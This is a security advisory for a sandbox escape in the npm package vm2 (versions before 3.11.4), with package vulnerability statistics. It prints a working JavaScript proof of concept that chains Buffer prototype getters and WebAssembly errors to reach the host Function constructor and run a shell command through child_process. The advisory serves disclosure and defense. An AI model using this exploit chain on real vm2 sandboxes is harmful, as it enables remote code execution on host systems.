vm2 has a Sandbox Escape issue
Summary
By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);Impact
Sandbox Escape → RCE
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.4 | 3.11.4 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-913- Platform
- npm
- Package
vm2- Disclosed
- 29.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-v6mx-mf47-r5wg - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
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vm2 has a Sandbox Escape issue this entry
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